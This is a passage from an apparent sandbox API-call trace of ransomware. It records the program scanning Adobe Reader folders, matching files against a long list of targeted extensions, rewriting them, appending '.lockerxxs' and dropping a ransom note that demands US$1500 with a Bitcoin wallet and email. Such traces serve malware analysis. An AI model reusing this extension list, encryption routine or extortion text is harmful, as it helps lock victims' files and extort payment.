(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.jpg") returned 0 [0070.336] lstrlenA (lpString="*.jpg") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.png") returned 0 [0070.336] lstrlenA (lpString="*.png") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.php") returned 0 [0070.336] lstrlenA (lpString="*.php") returned 5 [0070.337] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.cs") returned 0 [0070.337] lstrlenA (lpString="*.cs") returned 4 [0070.337] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.cpp") returned 0 [0070.337] lstrlenA (lpString="*.cpp") returned 5 [0070.337] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.rar") returned 0 [0070.337] lstrlenA (lpString="*.rar") returned 5 [0070.337] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.zip") returned 0 [0070.337] lstrlenA (lpString="*.zip") returned 5 [0070.337] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.html") returned 1 [0070.337] lstrlenA (lpString="*.html") returned 6 [0070.337] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" [0070.337] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" [0070.337] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html." [0070.337] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.lockerxxs" [0070.338] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.338] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfa69 [0070.338] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a50d20, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0070.338] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.338] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xfa43, lpOverlapped=0x0) returned 1 [0070.342] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html") returned="license.html" [0070.343] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.343] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xfa43, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xfa43, lpOverlapped=0x0) returned 1 [0070.344] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.344] CloseHandle (hObject=0x94) returned 1 [0070.345] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html.lockerxxs")) returned 1 [0070.346] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.346] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="UKR", cAlternateFileName="")) returned 1 [0070.346] lstrcmpA (lpString1=".", lpString2="UKR") returned -1 [0070.346] lstrcmpA (lpString1="..", lpString2="UKR") returned -1 [0070.346] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.346] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="UKR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" [0070.346] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned 57 [0070.346] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.347] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.347] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.347] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.347] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.347] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.347] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.347] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.347] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.347] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.347] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*.*") returned="*.*" [0070.347] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" [0070.347] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="" [0070.347] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt" [0070.347] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\how to decrypt files.txt")) returned 0xffffffff [0070.348] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.348] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.348] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.349] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.349] CloseHandle (hObject=0x94) returned 1 [0070.350] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini" [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.ems") returned 0 [0070.350] lstrlenA (lpString="*.ems") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.db") returned 0 [0070.350] lstrlenA (lpString="*.db") returned 4 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.dbf") returned 0 [0070.350] lstrlenA (lpString="*.dbf") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.myox") returned 0 [0070.350] lstrlenA (lpString="*.myox") returned 6 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.myo") returned 0 [0070.350] lstrlenA (lpString="*.myo") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbw") returned 0 [0070.350] lstrlenA (lpString="*.qbw") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbb") returned 0 [0070.350] lstrlenA (lpString="*.qbb") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbm") returned 0 [0070.350] lstrlenA (lpString="*.qbm") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbo") returned 0 [0070.350] lstrlenA (lpString="*.qbo") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbx") returned 0 [0070.350] lstrlenA (lpString="*.qbx") returned 5 [0070.350] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qba") returned 0 [0070.350] lstrlenA (lpString="*.qba") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qby") returned 0 [0070.351] lstrlenA (lpString="*.qby") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qbj") returned 0 [0070.351] lstrlenA (lpString="*.qbj") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.ofx") returned 0 [0070.351] lstrlenA (lpString="*.ofx") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.qif") returned 0 [0070.351] lstrlenA (lpString="*.qif") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mye") returned 0 [0070.351] lstrlenA (lpString="*.mye") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mbox") returned 0 [0070.351] lstrlenA (lpString="*.mbox") returned 6 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.eml") returned 0 [0070.351] lstrlenA (lpString="*.eml") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.pst") returned 0 [0070.351] lstrlenA (lpString="*.pst") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.ost") returned 0 [0070.351] lstrlenA (lpString="*.ost") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.idx") returned 0 [0070.351] lstrlenA (lpString="*.idx") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.dbx") returned 0 [0070.351] lstrlenA (lpString="*.dbx") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.sql") returned 0 [0070.351] lstrlenA (lpString="*.sql") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mdb") returned 0 [0070.351] lstrlenA (lpString="*.mdb") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.fdb") returned 0 [0070.351] lstrlenA (lpString="*.fdb") returned 5 [0070.351] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.wab") returned 0 [0070.351] lstrlenA (lpString="*.wab") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.dat") returned 0 [0070.352] lstrlenA (lpString="*.dat") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.txt") returned 0 [0070.352] lstrlenA (lpString="*.txt") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.352] lstrlenA (lpString="*.jpeg") returned 6 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.jpg") returned 0 [0070.352] lstrlenA (lpString="*.jpg") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.png") returned 0 [0070.352] lstrlenA (lpString="*.png") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.php") returned 0 [0070.352] lstrlenA (lpString="*.php") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.cs") returned 0 [0070.352] lstrlenA (lpString="*.cs") returned 4 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.cpp") returned 0 [0070.352] lstrlenA (lpString="*.cpp") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.rar") returned 0 [0070.352] lstrlenA (lpString="*.rar") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.zip") returned 0 [0070.352] lstrlenA (lpString="*.zip") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.html") returned 0 [0070.352] lstrlenA (lpString="*.html") returned 6 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.htm") returned 0 [0070.352] lstrlenA (lpString="*.htm") returned 5 [0070.352] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.352] lstrlenA (lpString="*.xlsx") returned 6 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.xls") returned 0 [0070.353] lstrlenA (lpString="*.xls") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mp4") returned 0 [0070.353] lstrlenA (lpString="*.mp4") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.ppt") returned 0 [0070.353] lstrlenA (lpString="*.ppt") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.pptx") returned 0 [0070.353] lstrlenA (lpString="*.pptx") returned 6 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.doc") returned 0 [0070.353] lstrlenA (lpString="*.doc") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.dot") returned 0 [0070.353] lstrlenA (lpString="*.dot") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.docx") returned 0 [0070.353] lstrlenA (lpString="*.docx") returned 6 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.7z") returned 0 [0070.353] lstrlenA (lpString="*.7z") returned 4 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.tar") returned 0 [0070.353] lstrlenA (lpString="*.tar") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.bz2") returned 0 [0070.353] lstrlenA (lpString="*.bz2") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.gz") returned 0 [0070.353] lstrlenA (lpString="*.gz") returned 4 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.mkv") returned 0 [0070.353] lstrlenA (lpString="*.mkv") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.eml") returned 0 [0070.353] lstrlenA (lpString="*.eml") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.msg") returned 0 [0070.353] lstrlenA (lpString="*.msg") returned 5 [0070.353] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.edb") returned 0 [0070.353] lstrlenA (lpString="*.edb") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.accdb") returned 0 [0070.354] lstrlenA (lpString="*.accdb") returned 7 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.odb") returned 0 [0070.354] lstrlenA (lpString="*.odb") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.java") returned 0 [0070.354] lstrlenA (lpString="*.java") returned 6 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.asm") returned 0 [0070.354] lstrlenA (lpString="*.asm") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.pfx") returned 0 [0070.354] lstrlenA (lpString="*.pfx") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.pem") returned 0 [0070.354] lstrlenA (lpString="*.pem") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.p12") returned 0 [0070.354] lstrlenA (lpString="*.p12") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.gpg") returned 0 [0070.354] lstrlenA (lpString="*.gpg") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.vsd") returned 0 [0070.354] lstrlenA (lpString="*.vsd") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.odg") returned 0 [0070.354] lstrlenA (lpString="*.odg") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.raw") returned 0 [0070.354] lstrlenA (lpString="*.raw") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.nef") returned 0 [0070.354] lstrlenA (lpString="*.nef") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.svg") returned 0 [0070.354] lstrlenA (lpString="*.svg") returned 5 [0070.354] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini", pszSpec="*.psd") returned 0 [0070.354] lstrlenA 